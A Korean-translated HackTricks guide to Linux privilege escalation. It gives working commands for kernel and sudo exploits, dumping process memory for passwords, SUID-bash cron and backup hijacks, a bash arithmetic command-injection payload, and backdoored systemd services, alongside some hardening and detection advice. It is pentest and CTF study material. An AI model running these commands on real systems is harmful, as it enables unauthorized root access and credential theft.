Linux Privilege Escalation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
시스템 정보
OS 정보
실행 중인 OS에 대한 정보를 수집해봅시다.
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
만약 PATH 변수 내의 어떤 폴더에 대해 쓰기 권한이 있다면 일부 라이브러리 또는 바이너리를 하이재킹할 수 있습니다:
echo $PATH
환경 정보
환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요?
(env || set) 2>/dev/null
Kernel exploits
kernel 버전을 확인하고, escalate privileges에 사용할 수 있는 exploit이 있는지 확인하세요.
cat /proc/version
uname -a
searchsploit "Linux Kernel"
여기에서 좋은 취약한 커널 목록과 일부 이미 compiled exploits를 찾을 수 있습니다: https://github.com/lucyoa/kernel-exploits 및 exploitdb sploits.
다음 사이트들에서도 일부 compiled exploits를 찾을 수 있습니다: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
해당 웹에서 취약한 커널 버전들을 모두 추출하려면 다음과 같이 하세요:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
kernel exploits를 검색하는 데 도움이 될 수 있는 도구는:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)
항상 Google에서 kernel version을 검색하세요. 어쩌면 해당 kernel version이 어떤 kernel exploit에 기재되어 있을 수 있으니 그 exploit이 유효한지 확인할 수 있습니다.
추가적인 kernel exploitation techniques:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo 버전
다음에 나타나는 취약한 sudo 버전을 기반으로:
searchsploit sudo
이 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Sudo 버전 1.9.17p1 이전 (1.9.14 - 1.9.17 < 1.9.17p1)에서는 비권한 로컬 사용자가 사용자 제어 디렉터리에서 /etc/nsswitch.conf 파일을 사용할 때 sudo --chroot 옵션을 통해 루트로 권한을 상승시킬 수 있습니다.
다음은 해당 취약점을 악용하기 위한 PoC입니다. 익스플로잇을 실행하기 전에 사용 중인 sudo 버전이 취약하며 chroot 기능을 지원하는지 확인하세요.
자세한 정보는 원문 취약점 권고문을 참조하세요.
Sudo host-based rules bypass (CVE-2025-32462)
Sudo before 1.9.17p1 (reported affected range: 1.8.8–1.9.17) can evaluate host-based sudoers rules using the user-supplied hostname from sudo -h <host> instead of the real hostname. If sudoers grants broader privileges on another host, you can spoof that host locally.
요구 사항:
- 취약한 sudo 버전
- 호스트별 sudoers 규칙(호스트가 현재 호스트명도 아니고
ALL도 아닌 경우)
예시 sudoers 패턴:
Host_Alias SERVERS = devbox, prodbox
Host_Alias PROD = prodbox
alice SERVERS, !PROD = NOPASSWD:ALL
허용된 host를 spoofing하여 Exploit:
sudo -h devbox id
sudo -h devbox -i
spoofed name의 resolution이 차단된다면 /etc/hosts에 추가하거나 이미 logs/configs에 나타나는 hostname을 사용하여 DNS lookups를 피하세요.
sudo < v1.8.28
작성자: @sickrov
sudo -u#-1 /bin/bash
Dmesg 서명 검증 실패
이 vuln이 어떻게 악용될 수 있는지에 대한 예시는 smasher2 box of HTB를 확인하세요.
dmesg 2>/dev/null | grep "signature"
더 많은 시스템 열거
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
가능한 방어 수단 나열
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Container Breakout
컨테이너 내부에 있는 경우, 다음 container-security 섹션에서 시작한 다음 런타임별 abuse 페이지로 전환하세요:
드라이브
무엇이 마운트되어 있고 마운트 해제되어 있는지, 어디에 왜 그런지 확인하세요. 만약 어떤 항목이 마운트 해제되어 있다면, 이를 마운트해보고 민감한 정보를 확인해보세요
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
유용한 소프트웨어
유용한 바이너리를 나열하세요.
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
또한, any compiler is installed인지 확인하세요. 이는 kernel exploit을 사용해야 할 경우 유용합니다. 해당 익스플로잇은 사용하려는 머신(또는 유사한 머신)에서 컴파일하는 것이 권장되기 때문입니다.
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
설치된 취약 소프트웨어
설치된 패키지와 서비스의 버전을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어서 escalating privileges에 이용될 수 있습니다…
더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것이 권장됩니다.
dpkg -l #Debian
rpm -qa #Centos
머신에 SSH 접근 권한이 있다면 openVAS 등을 사용해 시스템에 설치된 오래되었거나 취약한 소프트웨어를 확인할 수 있습니다.
[!NOTE] > 이 명령들은 대부분 쓸모없는 많은 정보를 출력할 수 있으므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 확인해주는 OpenVAS 같은 애플리케이션을 사용하는 것이 권장됩니다
프로세스
실행 중인 어떤 프로세스들을 확인하고, 어떤 프로세스가 가져야 할 것보다 더 많은 권한으로 실행되고 있는지 점검하세요 (예: tomcat이 root로 실행되는 경우?).
ps aux
ps -ef
top -n 1
항상 electron/cef/chromium debuggers 실행 중인지 확인하세요 — 이를 악용해 권한을 상승시킬 수 있습니다. Linpeas는 프로세스 명령행에서 --inspect 파라미터를 확인하여 이를 탐지합니다.
또한 프로세스 바이너리에 대한 권한을 확인하세요 — 다른 사용자의 바이너리를 덮어쓸 수 있을지도 모릅니다.
사용자 간 부모-자식 체인
부모와 다른 사용자로 실행되는 자식 프로세스가 자동으로 악의적이라고 볼 수는 없지만, 유용한 트리아지 신호입니다. 일부 전환은 예상됩니다(root spawning a service user, login managers creating session processes), 하지만 비정상적인 체인은 래퍼, 디버그 도우미, 영속성, 또는 취약한 런타임 신뢰 경계를 드러낼 수 있습니다.
간단 검토:
ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp
놀라운 체인을 발견하면, 부모의 명령줄과 동작에 영향을 주는 모든 파일(config, EnvironmentFile, helper scripts, working directory, writable arguments)을 검사하라. 실제 몇몇 privesc 경로에서는 자식 자체는 쓰기 가능하지 않았지만, 부모가 제어하는 config 또는 helper chain은 쓰기 가능했다.
삭제된 실행 파일 및 삭제 후 열린 파일
런타임 아티팩트는 종종 삭제 후에도 여전히 접근 가능하다. 이는 privilege escalation과 이미 민감한 파일을 연 프로세스에서 증거를 회수하는 데 모두 유용하다.
삭제된 실행 파일을 확인하라:
pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo
만약 /proc/<PID>/exe가 (deleted)를 가리키면, 해당 프로세스는 여전히 메모리에서 이전 바이너리 이미지를 실행하고 있습니다. 이는 조사해야 할 강력한 신호입니다. 이유는 다음과 같습니다:
- 삭제된 실행 파일에는 흥미로운 문자열이나 자격 증명이 포함되어 있을 수 있습니다
- 실행 중인 프로세스가 여전히 유용한 파일 디스크립터를 노출할 수 있습니다
- 삭제된 권한 있는 바이너리는 최근의 변조나 정리 시도의 징후일 수 있습니다
삭제된 채 열린 파일을 전역적으로 수집:
lsof +L1
흥미로운 descriptor를 찾으면 즉시 복구하세요:
ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>
이것은 프로세스가 삭제된 비밀, 스크립트, database export, 또는 flag 파일을 여전히 열어두고 있을 때 특히 유용합니다.
Process monitoring
You can use tools like pspy to monitor processes. 이는 취약한 프로세스가 자주 실행되거나 특정 요구사항이 충족될 때 이를 식별하는 데 매우 유용할 수 있습니다.
Process memory
Some services of a server save 메모리 내부에 평문으로 저장된 자격증명.
보통 다른 사용자의 프로세스 메모리를 읽으려면 root privileges가 필요하므로, 이는 보통 이미 root인 경우 더 많은 자격증명을 찾을 때 유용합니다.
단, 일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다는 것을 기억하세요.
Warning
Note that nowadays most machines don’t allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.
The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:
- kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
- kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
- kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
- kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
GDB
If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB 스크립트
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
주어진 프로세스 ID에 대해, maps는 해당 프로세스의 가상 주소 공간에서 메모리가 어떻게 매핑되는지 보여주며, 또한 각 매핑된 영역의 권한을 표시합니다. mem 가상 파일은 프로세스의 메모리 자체를 노출합니다. maps 파일에서 어떤 메모리 영역이 읽기 가능한지와 그 오프셋을 알 수 있습니다. 이 정보를 사용해 mem 파일에서 오프셋으로 이동해 모든 읽기 가능한 영역을 덤프하여 파일로 저장합니다.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem는 시스템의 물리적 메모리에 대한 접근을 제공하며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\
일반적으로, /dev/mem은 root와 kmem 그룹만 읽을 수 있습니다.
strings /dev/mem -n10 | grep -i PASS
ProcDump (linux용)
ProcDump는 Windows용 Sysinternals 도구 모음의 클래식 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다음에서 얻을 수 있습니다: https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
도구
프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _root 권한 요구사항을 수동으로 제거하고 자신이 소유한 프로세스를 덤프할 수 있습니다
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root 권한 필요)
프로세스 메모리에서 자격 증명
수동 예시
authenticator 프로세스가 실행 중인 것을 발견하면:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
프로세스를 dump할 수 있으며(앞 섹션을 참조해 프로세스의 memory를 dump하는 다양한 방법을 확인하세요) 메모리 내에서 credentials를 검색할 수 있습니다:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
도구 https://github.com/huntergregal/mimipenguin은 메모리에서 평문 자격증명과 일부 잘 알려진 파일들을 훔칩니다. 제대로 작동하려면 root 권한이 필요합니다.
| Feature | Process Name |
|---|---|
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
검색 정규식/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
예약/Cron 작업
Crontab UI (alseambusher)이 root로 실행 중일 때 – 웹 기반 스케줄러 privesc
웹 “Crontab UI” 패널(alseambusher/crontab-ui)이 root로 실행되고 loopback에만 바인딩되어 있어도, SSH local port-forwarding을 통해 접근하여 권한 상승을 위해 권한 있는 작업을 생성할 수 있습니다.
일반적인 흐름
ss -ntlp/curl -v localhost:8000로 loopback 전용 포트(예: 127.0.0.1:8000)와 Basic-Auth realm을 식별- 운영 아티팩트에서 자격 증명 찾기:
- 백업/스크립트에서
zip -P <password> - systemd 유닛에서
Environment="BASIC_AUTH_USER=...",Environment="BASIC_AUTH_PWD=..."노출 - 터널링 및 로그인:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- 고권한 작업을 생성하고 즉시 실행 (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- 사용하세요:
/tmp/rootshell -p # root shell
강화
- Crontab UI를 root로 실행하지 마세요; 전용 사용자와 최소 권한으로 제한하세요
- localhost에 바인드하고 추가로 firewall/VPN을 통해 접근을 제한하세요; 비밀번호를 재사용하지 마세요
- unit files에 비밀을 직접 포함시키지 마세요; 비밀 저장소(secret stores) 또는 root 전용 EnvironmentFile을 사용하세요
- on-demand job 실행에 대해 감사/로깅을 활성화하세요
예약된 작업 중 취약한 것이 있는지 확인하세요. root에 의해 실행되는 스크립트를 이용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있는가? symlinks를 사용할 수 있는가? root가 사용하는 디렉토리에 특정 파일을 생성할 수 있는가?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
run-parts가 사용되는 경우, 실제로 어떤 이름들이 실행되는지 확인하세요:
run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily
이렇게 하면 false positives를 방지할 수 있습니다. 쓰기 가능한 periodic 디렉터리는 페이로드 파일명이 로컬 run-parts 규칙과 일치할 때만 유용합니다.
Cron 경로
예를 들어, /etc/crontab 안에서 다음과 같은 PATH를 찾을 수 있습니다: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(user “user“가 /home/user에 쓰기 권한이 있다는 점에 주목하세요)
이 crontab 안에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 할 경우. 예를 들어: * * * * root overwrite.sh
그러면 다음을 사용해 root shell을 얻을 수 있습니다:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron이 스크립트를 와일드카드와 함께 사용할 때 (Wildcard Injection)
root로 실행되는 스크립트의 명령에 “*”가 포함되어 있으면, 이를 악용해 예기치 않은 동작(예: privesc)을 일으킬 수 있다. 예시:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
wildcard가 다음과 같은 경로 앞에 올 경우 /some/path/* , 취약하지 않습니다 (심지어 ./* 도 마찬가지입니다).
더 많은 wildcard exploitation tricks에 대해서는 다음 페이지를 읽어보세요:
Bash arithmetic expansion injection in cron log parsers
Bash는 ((…)), $((…)) 및 let에서 산술 평가 전에 parameter expansion과 command substitution을 수행한다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 이를 산술 컨텍스트로 전달하면, 공격자는 cron이 실행될 때 root로 실행되는 command substitution $(…)을 주입할 수 있다.
-
Why it works: Bash에서는 expansions가 다음 순서로 발생한다: parameter/variable expansion, command substitution, arithmetic expansion, 그 다음에 word splitting과 pathname expansion. 따라서
$(/bin/bash -c 'id > /tmp/pwn')0같은 값은 먼저 substitution되어(명령이 실행됨), 남은 숫자0은 산술에 사용되어 스크립트가 오류 없이 계속된다. -
Typical vulnerable pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Exploitation: parsed log에 attacker-controlled 텍스트를 써서 숫자처럼 보이는 필드가 command substitution을 포함하고 숫자로 끝나도록 한다. 명령이 stdout으로 출력하지 않도록(또는 리다이렉트) 해서 arithmetic가 유효하도록 해야 한다.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
If you can modify a cron script executed by root, you can get a shell very easily:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
만약 root에 의해 실행되는 script가 당신이 완전한 접근 권한을 가진 디렉터리를 사용한다면, 그 디렉터리를 삭제하고 당신이 제어하는 script를 제공하는 다른 디렉터리로 연결되는 symlink 폴더를 생성하는 것이 유용할 수 있다.
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Symlink 검증 및 더 안전한 파일 처리
경로로 파일을 읽거나 쓰는 특권 스크립트/바이너리를 검토할 때, 링크가 어떻게 처리되는지 확인하세요:
stat()는 symlink를 따라가 최종 대상의 메타데이터를 반환합니다.lstat()는 링크 자체의 메타데이터를 반환합니다.readlink -f와namei -l는 최종 대상을 해석하고 각 경로 구성 요소의 권한을 표시하는 데 도움이 됩니다.
readlink -f /path/to/link
namei -l /path/to/link
For defenders/developers, safer patterns against symlink tricks include:
O_EXCLwithO_CREAT: 경로가 이미 존재하면 실패합니다 (공격자가 미리 만든 링크/파일을 차단).openat(): 신뢰된 디렉터리 파일 디스크립터를 기준으로 동작합니다.mkstemp(): 보안 권한으로 임시 파일을 원자적으로 생성합니다.
Custom-signed cron binaries with writable payloads
Blue teams는 때때로 cron으로 구동되는 바이너리를 “sign“하기 위해 커스텀 ELF 섹션을 덤프하고 vendor string을 grep한 후 root로 실행합니다. 그 바이너리가 group-writable(예: /opt/AV/periodic-checks/monitor가 root:devs 770 소유)이고 signing material을 leak할 수 있다면, 섹션을 위조해 cron 작업을 hijack할 수 있습니다:
pspy를 사용해 검증 흐름을 캡처합니다. Era에서는 root가objcopy --dump-section .text_sig=text_sig_section.bin monitor를 실행한 뒤grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin을 실행하고 파일을 실행했습니다.- leaked key/config (from
signing.zip)을 사용해 예상되는 인증서를 재생성합니다:
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- 악성 대체물(예: SUID bash 설치, SSH 키 추가)을 빌드하고 인증서를
.text_sig에 삽입해 grep가 통과되게 합니다:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- 실행 비트를 보존하면서 스케줄된 바이너리를 덮어씁니다:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- 다음 cron 실행을 기다리세요; 단순한 signature check가 성공하면 payload가 root로 실행됩니다.
Frequent cron jobs
프로세스를 모니터링해 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 활용해 권한 상승을 시도할 수 있습니다.
For example, to monitor every 0.1s during 1 minute, sort by less executed commands and delete the commands that have been executed the most, you can do:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
또한 사용할 수 있습니다 pspy (이 도구는 시작되는 모든 프로세스를 모니터링하고 나열합니다).
공격자가 설정한 모드 비트를 보존하는 루트 백업 (pg_basebackup)
만약 root 소유의 cron이 데이터베이스 디렉터리에 대해 pg_basebackup (또는 어떤 재귀적 복사)를 실행하고, 그 디렉터리에 당신이 쓸 수 있다면, 당신은 SUID/SGID binary를 심을 수 있고 이 파일은 동일한 모드 비트로 root:root 소유로 백업 출력에 다시 복사됩니다.
Typical discovery flow (as a low-priv DB user):
pspy를 사용해 매분/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/같은 명령을 호출하는 root cron을 찾아냅니다.- 소스 클러스터(예:
/var/lib/postgresql/14/main)에 당신이 쓰기 가능한지 확인하고, 작업 후 대상(/opt/backups/current)이 root 소유가 되는지 확인합니다.
익스플로잇:
# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash
# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p # root shell without dropping privileges
This works because pg_basebackup preserves file mode bits when copying the cluster; when invoked by root the destination files inherit root ownership + attacker-chosen SUID/SGID. Any similar privileged backup/copy routine that keeps permissions and writes into an executable location is vulnerable.
보이지 않는 cron 작업
주석 뒤에 carriage return을 넣는 cronjob(새 줄 문자 없이)을 만들 수 있으며, 해당 cron job은 동작합니다. 예시(캐리지 리턴 문자에 주의):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
이러한 유형의 은밀한 진입을 탐지하려면 제어 문자를 표시하는 도구로 cron 파일을 검사하세요:
cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head
서비스
쓰기 가능한 .service 파일
작성 가능한 .service 파일이 있는지 확인하세요. 가능하다면, 해당 파일을 수정할 수 있으며 서비스가 시작될 때, 재시작될 때 또는 중지될 때 당신의 backdoor를 실행하도록 만들 수 있습니다 (머신을 재부팅할 때까지 기다려야 할 수도 있습니다).
예를 들어 .service 파일 안에 backdoor를 만들고 ExecStart=/tmp/script.sh 로 설정하세요.
쓰기 가능한 서비스 바이너리
서비스에 의해 실행되는 바이너리에 대한 쓰기 권한이 있다면, 이를 backdoor로 변경할 수 있으며 서비스가 다시 실행될 때 backdoor가 실행됩니다.
systemd PATH - 상대 경로
다음 명령으로 systemd가 사용하는 PATH를 확인할 수 있습니다:
systemctl show-environment
경로의 어느 폴더에든 쓰기할 수 있는 경우 escalate privileges가 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 사용되는 상대 경로를 찾아야 합니다:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
그런 다음, 쓰기가 가능한 systemd PATH 폴더 안에 executable을 상대 경로 바이너리와 동일한 이름으로 생성하고, 서비스가 취약한 동작(Start, Stop, Reload)을 실행하라고 요청될 때 당신의 backdoor가 실행됩니다 (비특권 사용자는 보통 서비스를 시작/중지할 수 없지만 sudo -l을 사용할 수 있는지 확인하세요).
Learn more about services with man systemd.service.
타이머
타이머는 이름이 **.timer**로 끝나며 **.service** 파일이나 이벤트를 제어하는 systemd 유닛 파일입니다. 타이머는 캘린더 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행될 수 있기 때문에 cron의 대안으로 사용될 수 있습니다.
다음 명령으로 모든 타이머를 열거할 수 있습니다:
systemctl list-timers --all
쓰기 가능한 타이머
타이머를 수정할 수 있다면 .service나 .target 같은 systemd.unit의 기존 유닛을 실행하도록 만들 수 있습니다.
Unit=backdoor.service
문서에서 Unit가 무엇인지 다음과 같이 설명합니다:
이 타이머가 만료될 때 활성화할 unit입니다. 인수는 접미사가 “.timer“가 아닌 unit 이름입니다. 지정하지 않으면, 이 값은 접미사를 제외하면 timer unit과 동일한 이름을 가진 service로 기본값이 설정됩니다. (위 참조.) 활성화되는 unit 이름과 timer unit의 이름은 접미사만 다르게 동일하게 설정하는 것이 권장됩니다.
따라서 이 권한을 악용하려면 다음이 필요합니다:
- systemd unit(예:
.service) 중 쓰기 가능한 바이너리를 실행하는 것을 찾습니다 - 상대 경로(relative path)를 실행하는 systemd unit을 찾고, 해당 실행파일을 가장할 수 있도록 systemd PATH에 대한 **쓰기 권한(writable privileges)**을 확보합니다
타이머에 대해 자세히 알아보려면 man systemd.timer를 참조하세요.
타이머 활성화
타이머를 활성화하려면 root 권한이 필요하며 다음을 실행해야 합니다:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Note the timer is 활성화 by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Unix Domain Sockets (UDS) enable 프로세스 간 통신 on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.
Sockets can be configured using .socket files.
sockets에 대해 자세히 보려면 man systemd.socket을 확인하세요. Inside this file, several interesting parameters can be configured:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: These options are different but a summary is used to 소켓이 어디에서 수신(listen)할지를 지정 (AF_UNIX 소켓 파일 경로, 수신할 IPv4/6 및/또는 포트 번호 등).Accept: Takes a boolean argument. If true, a **service instance가 들어오는 각 연결마다 생성(spawn)**되고 해당 연결 소켓만 전달됩니다. If false, 모든 listening sockets 자체가 시작된 service unit에 전달되며, 모든 연결에 대해 단 하나의 service unit만 생성됩니다. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. 성능상의 이유로, 새로운 데몬은Accept=no에 적합한 방식으로만 작성하는 것이 권장됩니다.ExecStartPre,ExecStartPost: 하나 이상의 명령행을 받으며, 이는 리스닝 sockets/FIFOs가 각각 생성되고 바인드되기 전 또는 후에 실행됩니다. 명령행의 첫 번째 토큰은 절대 경로의 파일명이어야 하며, 그 뒤에 프로세스의 인수가 옵니다.ExecStopPre,ExecStopPost: 리스닝 sockets/FIFOs가 각각 닫히고 